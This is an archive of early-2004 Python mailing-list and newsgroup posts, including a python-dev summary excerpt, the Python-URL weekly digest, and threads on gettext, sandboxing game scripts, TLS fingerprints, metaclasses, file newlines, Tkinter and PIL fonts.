--------------------------
The idea of adding a method to dict called 'addlist(k,v)' that would act 
like ``d.setdefault(k, []).append(v)``.  It was eventually agreed upon 
that the perk of having it as a part of dict was not justified since the 
idiom it was implementing is simple enough so as to not really require 
adding the method.

Contributing threads:
   - `dict.addlist() 
<http://mail.python.org/pipermail/python-dev/2004-January/042114.html>`__


--------------------------------------------------------
Want to be able to change Python's name at compile time?
--------------------------------------------------------
Jack Jansen asked what people thought of adding the ability of being 
able to specify the name of Python through 'configure' and have the 
permeate throughout the code.  The main reason for this is to allow 
people on OS X to be able to have other framework builds of Python that 
don't interfere with the installed version on OS X 10.3 .

The thread ended with no definitive decision as to whether to move ahead 
or not.

Contributing threads:
   - `Configure option to change Python's name? 
<http://mail.python.org/pipermail/python-dev/2004-January/042153.html>`__


---------------------------------
You think you are a Hotshot, huh?
---------------------------------
Sparked by a question about where the development of the Hotshot 
profiler was, a new file was added to the scripts directory for making 
it easier to launch Hotshot for profiling.

Contributing threads:
   - `Hotshot 
<http://mail.python.org/pipermail/python-dev/2004-January/042222.html>`__


-------------------------------------------------
Happy patch/bug statistics days are back again...
-------------------------------------------------
Kurt Kaiser has taken over for Skip Montanaro (thanks to both for 
continuing and starting this weekly email, respectively) for sending out 
the "Weekly Python Patch/Bug Summary" email.

Contributing threads:
   - `Weekly Python Patch/Bug Summary 
<http://mail.python.org/pipermail/python-dev/2004-January/042244.html>`__


---------------------------------------------------
Change in posting rules to python-dev (but barely!)
---------------------------------------------------
The posting rules to python-dev have changed so that emails from 
non-subscribers must be ok'ed by moderators.  But joining python-dev is 
still open to the public and requires no clearance from anyone so it is 
not a big hurdle to overcome to post to the list.

You can always subscribe and turn mail delivery off if you like to. 
This is needed if you send mail to the list from multiple accounts such 
as yours truly.

Contributing threads:
   - `Proposed: change to posting rules for python-dev 
<http://mail.python.org/pipermail/python-dev/2004-January/042358.html>`__


-----------------------------------
GPL code in Python core is not okay
-----------------------------------
Although the question was specific to python-mode.el, the general answer 
is that GPL code is not allowed into Python.  The clash of the GPL with 
the PSF license since the latter is BSD-style.

Contributing threads:
   - `Would GPL on python-mode.el be a problem? 
<http://mail.python.org/pipermail/python-dev/2004-January/042311.html>`__



From python-url at phaseit.net  Tue Feb 17 19:38:51 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Wed, 18 Feb 2004 00:38:51 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb 17)
Message-ID: <1035d0r9kdr824b@corp.supernews.com>

QOTW:  "Python may be one of the simplest and most flexible programming
languages out there, but it is still a programming language. It still has
syntax, datatypes, and the occasional dark corner inhabited by sorcerers
named Tim."  Mark Lutz
    http://www.onlamp.com/pub/a/python/2004/02/05/learn python.html

"I think PyChecker ( http://pychecker.sf.net/ ) should be mentioned in
every beginner tutorial, and should be integrated with every Python IDE.
Before you type anything, type 'import pychecker.checker'."  DH
  

    In principle, comp.lang.python.announce announces all the great
    Python-related software that's available.  Much never appears
    there, though.  Among the jewels of the last fortnight:  Python
    wrappers for the GNU Scientific Library and NOAA cartographic
    toos, a pure Python DHCP server, an XHTML generator, and far too
    much more ...
	http://pygsl.sourceforge.net/
	http://www.cdc.noaa.gov/~jsw/python/gmt/
	http://sourceforge.net/projects/pydhcpd/
	http://sourceforge.net/projects/hhtml/

    Nokia Seris 60 handsets run Python.
	http://www.mobilewhack.com/programming/python/python_on_nokia_screenshots.html

    LOTS of magazines now run Python content, more than are feasible
    to track.  Even Tim Berners-Lee has adopted Python for his assault
    on The Semantic Web.
	http://www.w3.org/2000/10/swap/doc/cwm

    Pyzine Issue 5 is out.
	http://pyzine.com/Issue005/index.html

    Andrew M. Kuchling is exactly the right person to explain
    "What's New in Python 2.4".
	http://www.python.org/dev/doc/devel/whatsnew/whatsnew24.html

    Ross Karchner illustrates PyAmazon scripting.
	http://python.scripting.com/2004/02/01#a317

    Python's the development language of two significant tools for
    programming database-backed applications.
        http://www.devchannel.org/devtoolschannel/04/02/02/1922256.shtml


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.



From peter at engcorp.com  Mon Feb 16 09:31:51 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 09:31:51 -0500
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
Message-ID: <4030D457.D193F14C@engcorp.com>

Matthias wrote:
> 
> This study reports a programmer productivity gain of about 2 for all
> the scripting languages over C, C++, and Java.  It is a pity that not
> more attempts to gain /unbiased/ information on software productivity
> are undertaken.

I agree.  Unfortunately, it appears, the cost of doing that is just too
high.  Several times I've wanted to do a study in my company to measure
the claimed productivity improvements of Python (and of other things) but
in the end without funding it's not likely to happen, or to be credible.

-Peter


From richardshea at fastmail.fm  Thu Feb  5 05:31:02 2004
From: richardshea at fastmail.fm (Richard Shea)
Date: 5 Feb 2004 02:31:02 -0800
Subject: internationalisation/gettext - any sample (.MO) data available ?
References: <282f826a.0402021907.2266c6b4@posting.google.com>
	<bvopcd$kt1$01$1@news.t-online.com>
Message-ID: <282f826a.0402050231.6bb16bcc@posting.google.com>

> Here is the smallest example I can think of (actually, the smallest one
> using Tk - one with pure text output could be smaller):
> 

Hi Martin - Thanks very much for your very comprehensive reply, I
appreciate it.
(Thanks also to Jeff/P?draig for your suggestions) 

[lots of very useful stuff snipped]

I've followed the instructions, I think, and everything appears to
gone as it should except that at the moment I am still gettting the
English interface. I'm going to have another go at this tomorrow but I
just wanted to thank you for your kind word on my behalf.

I also wanted to double-check a couple of things. I've got my a.py in
one directory and the python installation in another (that's just the
way I do stuff on this machine) when you said ...

> Save the resulting messages.mo as
> 
> ./de/LC_MESSAGES/demoapp.mo
> 

... I presumed that was relative to a.py not the python interpreter ?
Is that correct ? That is if I have C:\richardspythonsrc\a.py I should
have C:\richardspythonsrc\de\LC_MESSAGES\demoapp.mo ?

Also I'm working on a WIN32 machine so to achieve ...

> Set the LANG environment variable to de_DE.ISO-8859-1, and
> invoke

... I put ...

import locale
locale.setlocale(locale.LC_ALL, 'german')

... up at the top of a.py - is that what you would advise ?

Thanks once again for your help.

regards

richard.


From not.available at na.no  Thu Feb 26 13:23:09 2004
From: not.available at na.no (Noen)
Date: Thu, 26 Feb 2004 18:23:09 GMT
Subject: Running insecure python code
Message-ID: <hQq%b.41604$BD3.8026233@juliett.dax.net>

Im developing a game where the players will program their equipment with 
python. Are there any ways to run insecure code? I dont want the clients 
to mess with the server-code through their own code, or even DOS the box 
by using up too much memory.

Here is some examples of how the equipment should be programmed:
---
# Proxmity explosive example

import cpu

explosive = cpu.connection(0x01,"explosive")
motion_detector = cpu.connection(0x02,"explosive")
class Main:
	def event_Motion(self):
		explosive.trigger(delay=0)

	cpu.reg_event(motion_detector.event_Motion, self.event_Motion)
	cpu.start()

---
# Broadcast chat equipment

import cpu
import io

terminal = cpu.connection(0x01,"User personal terminal connection")
radio = cpu.connection(0x02,"Radio tranceiver")
mem = cpu.connection(0x03,"Memory chip")
if mem.get("FREQ") == None: freq = 12345 ; mem.store("FREQ",12345)

class Main:
	cpu.reg_event(radio.receive, self.event_Message)
	cpu.reg_event(terminal.input, self.event_Input)
	def event_Message(self,message):
		terminal.write(message + "\r\n")
	def event_Input(self,data):
		if data[0] == "/":
			if string.upper(string.split(data[1:]))[0] == "CHANNEL":
			radio.setFreq(int(string.split(data)[2]))
			mem.store("FREQ",int(string.split(data)[2])
		else:
			radio.send(data)
---		

I see the following problems:
1. looping code
	Are there any way to avoid this by checking the "eip" within a 	usercode?
	Is it possible to multiplex between user codes to avoid this?
	Is it possible to limit execution speed (set the cpu to 5 instructions 
pr second)

2. blocking code / untrusted/insecure code
	Is there a effective way to limit the available functions the usercode? 
(perhaps like the java securityhandler way)

3. memory-dos
	Limiting the storage size (or even forcing the user to store EVERYTHING 
in the mem object)


I dont know if this is even possible (without modifying the python 
source, which would force me to perhaps seperate server code and user code)



From paul at prescod.net  Sat Feb 14 21:07:49 2004
From: paul at prescod.net (Paul Prescod)
Date: Sat, 14 Feb 2004 18:07:49 -0800
Subject: Netscan and Python
Message-ID: <402ED475.6030601@prescod.net>

According to Netscan,

comp.lang.python was the 19th most popular Usenet newsgroup in 1999
It rose to 8 in 2000
It stayed in 8th place in 2001 (I don't know why that year was flat)
It rose to 6 in 2002
It jumped to 2 in 2003 (comp.lang.c is still almost twice the size 
despite the fact that it shrunk in both 2002 and 2003)

It would be crazy to say that this proves that Python is the second most 
popular programming language, but does show how astonishingly quickly 
Python's popularity has been growing.

According to Netscan, comp.lang.python is the only comp.lang. group in 
the top 5 to experience positive growth in 2003.

The drop-offs were as follows:

  * c: -17%
  * Python +13%
  * java.programmer: -35%
  * perl.misc: -17%
  * javascript: -16%

Rounding out the top 10 we have:
  * clarion: +35% (what's going on here??)
  * Ruby -4%
  * PHP: +70% (comp.lang.php was only created mid-2002)
  * clipper: -12%
  * Lisp: 0%

I would say:

a) Usenet itself is not very healthy

b) Usenet does not very directly reflect usage patterns

c) Nevertheless, Python's consistent growth across several years does 
seem to reflect other indicators.

  Paul Prescod






From trevp at trevp.net  Sat Feb 28 04:20:30 2004
From: trevp at trevp.net (Trevor Perrin)
Date: 28 Feb 2004 01:20:30 -0800
Subject: Pure Python HTTPS Server
References: <c1lq2u$t13$1@news-int2.gatech.edu>
	<7xd6814gzi.fsf@ruckus.brouhaha.com>
	<2004022617475016807%bob@redivicom>
	<7x7jy9igvg.fsf@ruckus.brouhaha.com>
	<47e891f1.0402261830.7e803327@posting.google.com>
	<7x1xogvr35.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0402280120.675e2987@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7x1xogvr35.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > There's no path validation or cert creation.  My view is that certs
> > are a disaster, and I'm doing users a *favor* by keeping them at arm's
> > length :-).  Fingerprints are easier to use, so that's what the
> > library encourages.
> 
> But it means you need a separate fingerprint for each person you talk
> to.

You need to *get* the fingerprint of each person you talk to.  But if
you're calling people you need to get their phone number, if you're
emailing them you need to get their email address, etc..  acquiring
fingerprints isn't much different from acquiring those things, and
it's a hundred times easier than doing anything with certificates,
IMHO.


>  If you're going to do that, you may as well just use shared
> symmetric keys and not mess with TLS.

Well, fingerprints are public, not secret data.  So they're much
easier to distribute, and N people only need N fingerprints, whereas
they'd need N-squared shared keys.

(of course you know that; I just can't resist a chance to sing the
virtues of fingerprints...  I'm sort of a fingerprint zealot :-).

(And even if you *are* using symmetric keys, you still might want to
use TLS just for its record layer; that's what the shared-keys
Internet-Draft [1] is about, which tlslite implements).

> 
> > Anyways, I don't plan to add more X.509 support.  If someone else
> > wants to, it is open-source...
> 
> Yeah, that's what I mean about it being a lot of work to do the full
> stack.  It's great that you've provided this starting point though.

Thanks.  I don't agree that the "full stack" of PKIX protocols is
worth implementing or using, but we can agree to disagree on that..
  
Trevor

[1] http://www.ietf.org/internet-drafts/draft-ietf-tls-sharedkeys-02.txt


From williamichang at hotmail.com  Tue Feb 10 02:57:49 2004
From: williamichang at hotmail.com (William Chang)
Date: 9 Feb 2004 23:57:49 -0800
Subject: Async Client with 1K connections?
Message-ID: <65779ce6.0402092357.73df9783@posting.google.com>

Before I take the plunge, I'd appreciate any advice on the feasibility
and degree of difficulty of the following...

I need extremely efficient and robust _client_ software for some
common protocols like HTTP and POP3, supporting 1,000 simultaneous
independent connections and commensurate network throughput.  The data
get written to files or sockets, so no GUI needed.

I am not a Python programmer :-( but I am a "fan" :-) and I have been
reading about asyncore/Medusa/Twisted -- which would be my best bet?

Any advantage to using a particular unix/version -- Linux 32/64bit? 
FreeBSD 4/5? Solaris Sun/Intel?

If anyone who is expert in this area may be available, please contact
me at "w c h a n g at a f f i n i dot com".  (I'm in the SF Bay Area.)

My background is C -- I was the principal author of Infoseek (RIP), 
including the Python modularization that was the core of Ultraseek aka
Inktomi Enterprise Search aka Verity.  (For those of you old enough to
remember!)  Unfortunately, I moved upstairs and never did much Python.

Thanks in advance,  --William


From http  Thu Feb 19 04:03:58 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 01:03:58 -0800
Subject: Why import only at module level?
Message-ID: <7xoervxwxt.fsf@ruckus.brouhaha.com>

That's what the Python style guides advise.  They don't seem to like

   def frob(x):
      import re
      if re.search('sdf[234]xyz', x): ...

instead preferring that you pollute your module's global namespace
with the names of all your imports.  What's the point of that?  It
gets worse when you want to do something like

   def dispatch(obj):
      from types import *
      if type(obj) == ListType: obj_list(obj)
      elif type(obj) == FunctionType: obj_fcn(obj)
      ...

here you actually get a syntax warning that "from ... import *" is not
ALLOWED except at the module level.  So the pollution is really
serious in that case, you're spewing all the names from the imported
module into your own module.  And I know that "import *" is considered
uncool these days, but sometimes you really do want to just grab all
those symbols, and the whole point of wanting the import inside the
function is to contain the big import to a limited scope where they
won't conflict with your own symbols.

So what's the reason for the syntax warning, and for the convention of
putting the imports at the top of the module?


From feb04.20.netman at spamgourmet.com  Sat Feb 28 13:08:02 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 18:08:02 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<m3hdxb6rwg.fsf@pc150.maths.bris.ac.uk>
Message-ID: <6O40c.5969$qX5.1972@nwrdny03.gnilink.net>

I tried a couple variation of that, and __getattr__, when defined in a
metaclass is never called when accessing an attribute on an instance of a
class derived from that metaclass.

Here is some testing I did:

class Zmeta(type):
    def __getattribute__(*args):
        raise Exception('called __getattribute__ with %s' % str(args))
    def __getattr__(*args):
        raise Exception('called __getattr__ with %s' % str(args))

Z = Zmeta('Z', (), {'value': 42})
z = Z()

>>> int(z)
TypeError: int() argument must be a string or a number
>>> z.__int__
AttributeError: 'Z' object has no attribute '__int__'
>>> Z.__int__
Exception: called __getattribute__ with (<class '__main__.Z'>, '__int__')

It appears (and is confirmed in: Metaclass Programming in Python Pt. 2
http://www-106.ibm.com/developerworks/library/l-pymeta2/?ca=dnt-434) that
metaclass attributes are available to instances (classes) but not instances
of instances.

Chris

"Michael Hudson" wrote:
>
> > Is there any way to make the class Z behave the same way as class Y?
>
> You need a custom metaclass for Z, and implement __getattr__ there.
>
> HTH.
>
> Cheers,
> mwh
>
> -- 
>   Lisp does badly because we refuse to lie.  When people ask us if
>   we can solve insoluble problems we say that we can't, and because
>   they expect us to lie to them, they find some other language
>   where the truth is less respected.   -- Tim Bradshaw, comp.lang.lisp




From newsgroups at jhrothjr.com  Sat Feb 28 16:28:55 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 28 Feb 2004 16:28:55 -0500
Subject: Reading newlines from a text file
References: <b4a8ffb6.0402281000.606425e2@posting.google.com>
Message-ID: <1042225185odo0e@news.supernews.com>

"Thomas Philips" <tkpmep at hotmail.com> wrote in message
news:b4a8ffb6.0402281000.606425e2 at posting.google.com...
> I have a data file that I read with readline(), and would like to
> control the formats of the lines when they are printed. I have tried
> inserting escape sequences into the data file, but am having trouble
> getting them to work as I think they should. For example, if my data
> file has only one line which reads:
> 1\n234\n567
>
> I would like to read it with a command of the form
> x=datafile.readline()
>
> and I would like
> print x
>
> to give me
> 1
> 234
> 567
>
> The readline works like a charm, but the print gives me
> 1\n234\n567
> Clearly the linefeeds are not interpreted as such. How can I get the
> Python interpreter to correctly interpret escape sequences in strings
> that are read from files?
>
> Thomas Philips

You've got a couple of misconceptions. If you use a standard
open(<file>, "rt"), Python will only recognize end of line sequences
for your system. Windows, unices and the Mac all have different
conventions, so if you're on Windows and your file has unix or mac
newline sequences, they won't be recognized. They'll come in on
one readline().

The second misconception seems to be that Python will strip
newlines when it reads in line mode. It doesn't. It does convert
the OS dependent newline sequences to a standard \n, but that's
all. Each line read is still has a newline at the end (except the last one,
if it was missing in the file.)

Print, on the other hand, is going to add a newline regardless of
whether one exists in the data.

You can solve the first problem by adding a "U" somewhere in
the open/file call. I'm not sure where, check the docs. To solve
the second problem, you need to do one of several things:

1) if you want to use print, strip the newline from the string
before writing it. The print statement will add it to the end.

2) if all you want is line endings for your system, open with
"wt" and put a /n at the end of each line. Python will take care
of the rest.

3) if you want line endings for a different system, open the file
as 'wb' and insert the proper sequence at the end yourself.

HTH
John Roth




From paul at prescod.net  Mon Feb  2 10:47:27 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 02 Feb 2004 07:47:27 -0800
Subject: Add PayFlow Pro wrapper to standard library?
In-Reply-To: <1075730140.27914.271.camel@dev.internal>
References: <1075730140.27914.271.camel@dev.internal>
Message-ID: <401E710F.7080106@prescod.net>

Mark McEahern wrote:

>...
> 
> This inspired me to imagine something similar being added to Python's
> standard library.  The basic idea:  This would mean someone like me
> wouldn't have to reinvent the wheel over and over. 

If you want to avoid reinventing the wheel over and over, make a 
sourceforge project and then register your PyPayFlowPro in PyPi. Then 
people who need it will be able to find it and people who do not need it 
will not have it cluttering up their Python installation.

Once it is popular on PyPi and it seems the number of people who need it 
may outnumber the number who do not, you could propose it for inclusion 
as a standard library.

I agree with Duncan that your work will go much faster if you use Pyrex.

  Paul Prescod





From haasje at welmers.net  Fri Feb  6 06:00:52 2004
From: haasje at welmers.net (Bastiaan Welmers)
Date: Fri, 06 Feb 2004 12:00:52 +0100
Subject: Finding messages in huge mboxes
References: <401eb54c$0$315$e4fe514c@news.xs4all.nl>
	<bvmd1s$5b5$1@namru.matavnet.hu>
Message-ID: <40237412$0$317$e4fe514c@news.xs4all.nl>

Mikl?s wrote:

> What about putting it into a database like MySQL? <pyWink>
> 

Too much work to archieve this. It's just a Mailman archieve mbox
which has to be opened. So then I have to rewrite 
pipermail archiever.

/Bastiaan


From newsgroups at jhrothjr.com  Sat Feb 21 13:48:38 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 21 Feb 2004 13:48:38 -0500
Subject: Tkinter: Clipping a canvas text item
References: <c17ls5$hmr$04$1@news.t-online.com>
Message-ID: <103fa167phnka2c@news.supernews.com>

"Peter Otten" <__peter__ at web.de> wrote in message
news:c17ls5$hmr$04$1 at news.t-online.com...
> Is there a way to limit both width and height of a canvas text item?
> My current workaround seems clumsy:
>
> import Tkinter as tk
> root = tk.Tk()
> canvas = tk.Canvas(root, width=400, height=200, bg="white")
> canvas.pack()
>
> # simulate a clipped text item - never transparent :-(
> s = "The long and winding road.."
> lbl = tk.Label(root, text=s, anchor=tk.W, bg=canvas["bg"])
> canvas.create_window(50, 80, width=100, height=20,
>     window=lbl,
>     anchor=tk.NW)
>
> root.mainloop()
>
> Thanks,
> Peter

I suppose if I absolutely had to do it, I'd clip by hiding the edges
under something else. Or else I'd find another toolkit that can
do the job. Thankfully, I don't have to do it.

John Roth




From prouleau at impathnetworks.com  Fri Feb 27 07:45:31 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 07:45:31 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <mailman.191.1077856934.8594.python-list@python.org>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
	<mailman.191.1077856934.8594.python-list@python.org>
Message-ID: <FZG%b.20178$253.1255290@news20.bellglobal.com>

Skip Montanaro wrote:

>     Pierre> I tried to define a _() function when testing with the code
>     Pierre> below but the doctest still fails.  The following code is at the
>     Pierre> end of my utstring.py module
>     ...
> 
> I suspect it's because your dummy _ is not in builtins.  Why not just call
> gettext.install() where you are currently defining _?
> 

Skip, this looks like the way to go.

I was trying to avoid it because the translation files for these library 
modules are constructed at the application level somewhere else.  But I 
was also considering creating a translation library for these module, so 
I guess that is one more incentive to do so...

Thanks

Pierre



From jacek.generowicz at cern.ch  Wed Feb 25 06:43:04 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 25 Feb 2004 12:43:04 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyffzczoahx.fsf@pcepsft001.cern.ch>
	<mailman.91.1077703341.8594.python-list@python.org>
Message-ID: <tyf65dvo053.fsf@pcepsft001.cern.ch>

Paul Prescod <paul at prescod.net> writes:

> Jacek Generowicz wrote:
> 
> > Could somebody point me to an explanation of why closures are broken
> > in this way in the first place, please ?
>
> a = 5
> def b():
> 	a = 6
> 	def c():
> 		a = 7
> 		print a
> 	print a
> 	c()
> 
> print b()()

Methinks you forgot to return something somewhere.

> Python uses a single syntax for declarating a variable and assigning
> to it.

Ah, thank you, _this_ is the salient point ( ... though I'm not sure
what "declarating" means, but I'm pretty sure that Python does not do
it to variables :-).

But what happens in other languages which support closures, but have
no syntactic distinction between binding and re-binding ?

> This causes a problem for Lisp purists but is otherwise helpful.

Lisp causes problems for the simple-minded, but is otherwise helpful.

(Infer as many winks/smileys as you implied in your original.)


From fumanchu at amor.org  Wed Feb  4 17:09:45 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 4 Feb 2004 14:09:45 -0800
Subject: dictionary question
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CE9@opus.amorhq.net>

Jos? Carlos wrote:
> i have a dictionary. inside this dictionary i have several 
> list and inside
> each list i have data.
> 
> How can i do for add data to these list.
> 
> this is my code:
> 
> conex = {'tipoconex': ['1', '0'], 'conexionS': ['cliente1', 
> 'cliente2'],
> 'clave': ['pepo', 'joan'], 'usuario': ['pepe', 'juan']}

?Solamente quieres poner otro data en una de las listas? Por ejemplo:

conex['clave'].append('gabriel')

sera resultar en:

>>> conex
{'tipoconex': ['1', '0'], 'conexionS': ['cliente1', 'cliente2'],
'clave': ['pepo', 'joan', 'gabriel'], 'usuario': ['pepe', 'juan']}


EQA,

Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From prochak at netzero.net  Fri Feb 13 02:27:56 2004
From: prochak at netzero.net (Erik Lechak)
Date: 12 Feb 2004 23:27:56 -0800
Subject: Mathematica-style notebook in Python
References: <5eb8fb88.0402121313.6a48602b@posting.google.com>
Message-ID: <1f0bdf30.0402122327.13f7122f@posting.google.com>

rick_muller at yahoo.com (Rick Muller) wrote in message news:<5eb8fb88.0402121313.6a48602b at posting.google.com>...
> I was wondering whether anyone has considered writing a
> Mathematica-style notebook in Python. I use Python to do a lot of
> scientific analysis, and I really like it's power. But what I always
> envy about my friends who use Mathematica is the notebooks they
> generate, which contain plots, annotations, and other information, in
> a format that can be reloaded easily when you want to check your work.
> 
> Before I start doing something like this, has anyone else considered
> it?

I have been working the last several months on just that issue.  It is
a library that contains interactive plotting, block diagram, imaging,
and text rendering capabilities.  It is written in 100% python.  It
currently can use either wxWindows or pygame to display its diagrams
(I am working on TK now ... others to come).  The nice thing about it
is no matter what underlying GUI library you use to display the
diagram it always looks the same.

I am about ready to release the second version of the library (its
called Pyxel).  BTW its opensource - free for commercial and
opensource use.

I can send anyone the code that wants to preview it before the
release. Just drop me a line.  I could use some help on the plotting
aspect, if anyone is interested.

Thanks,
Erik Lechak
prochak at netzero.net


From stasz at tux.org  Fri Feb  6 05:13:53 2004
From: stasz at tux.org (StasZ)
Date: Fri, 06 Feb 2004 11:13:53 +0100
Subject: gettext in windows
References: <pan.2004.02.05.19.33.31.261102@tux.org>
	<bvu7kh$44e$1@atlantis.news.tpi.pl>
Message-ID: <pan.2004.02.06.10.13.49.120464@tux.org>

On Thu, 05 Feb 2004 20:04:34 +0000, Jarek Zgoda wrote:

> StasZ <stasz at tux.org> pisze:
> 
>> I have some programs which are developed on Linux and uses gettext for
>> the language support.
>> While they run without problem on a win32 platform i haven't a clue how
>> to get the gettext stuff working.
>> Also locale settings are different.
>> 
>> Can somebody give me some pointers on how this sort of thing is
>> implemented in windows?
>> I must also confess that i have problems installing GNU/gettext on windows
>> I'm quite clueless on windows :-) 
> 
> You need gettext + iconv, get it from GNU site. Unpack zip archive to
> any directory according to your taste (c:\gnu seems to be reasonable
> proposition), then add (install-dir)\bin directory to PATH.

Thanks, i will try.

Stas



From CousinStanley at hotmail.com  Mon Feb  9 11:10:17 2004
From: CousinStanley at hotmail.com (Cousin Stanley)
Date: Mon, 9 Feb 2004 09:10:17 -0700
Subject: fonts in PIL ?
References: <Xns9489E52CDD393stefninnospamyahoofr@213.228.0.4>
Message-ID: <c08b7s$13ui42$1@ID-130333.news.uni-berlin.de>

| ....
| Also, are there some real examples of use of fonts in PIL ?
| ....

St?phanie ....

  Following is an example of using the PIL ImageFont class ....

'''
    Module ....... pil_ImageFont.py
    Code_By ...... Stanley C. Kitching
    Code_Date .... 2004-02-09
'''

import Image
import ImageFont
import ImageDraw

this_list   = [ " Look, up in the sky ......... " ,
                " It's  a bird ................ " , 
                " It's  a plane ............... " , 
                " It's  S u p e r  M a n  !!!!! " , 
                " " , 
                " More powerful" , 
                "      than a locomotive !!!!!!" ,
                " " ,
                " Able to leap tall buildings" , 
                "      in a single bound !!!!!!"  ]

this_image  = Image.new( 'RGB' , ( 360 , 240 ) )

# Adjust dir_PIL path to YOUR installation

dir_PIL     = 'K:/Python23/Lib/site-packages/PIL/'  

dir_fonts   = dir_PIL + 'pilfonts/' 

this_font   = 'courB12.pil'

i_font      = ImageFont.load( dir_fonts + this_font )

this_col    = 10
this_row    = 10
row_inc     = 20

for this_line in this_list : 

    i_draw  = ImageDraw.Draw( this_image )

    i_draw.text( ( this_col , this_row ) , this_line , font = i_font )

    this_row += row_inc

this_image.save( 'pil_ImageFont.png' )

this_image.show()

-- 
Cousin Stanley
Human Being
Phoenix, Arizona



From http  Thu Feb 19 22:42:04 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 19:42:04 -0800
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de> <7xsmh6a7cd.fsf@ruckus.brouhaha.com>
	<RpdZb.10783$Cd6.717545@news20.bellglobal.com>
	<7x65e2ikqi.fsf@ruckus.brouhaha.com>
	<zTdZb.11018$Cd6.724593@news20.bellglobal.com>
Message-ID: <7xbrnupgc3.fsf@ruckus.brouhaha.com>

"Sean Ross" <sross at connectmail.carleton.ca> writes:
> s = open("/dev/urandom").read(1000000)
> 
> is s a string containing one million letters [a-zA-Z] and no other
> types of characters, as the OP is looking for?

Oh oops, I didn't catch that part.  It's a million random bytes.
Sorry.


From anthony_barker at hotmail.com  Mon Feb  9 19:40:44 2004
From: anthony_barker at hotmail.com (Anthony_Barker)
Date: 9 Feb 2004 16:40:44 -0800
Subject: Mcmillen Installer Question
References: <2e3b9aea.0402040603.7d9b535d@posting.google.com>
Message-ID: <899f842.0402091640.28478a74@posting.google.com>

The errrors most likely are because you are loading unix specific services.

Check out
http://www.python.org/doc/current/lib/unix.html

You probably only want to import them in the windows platform

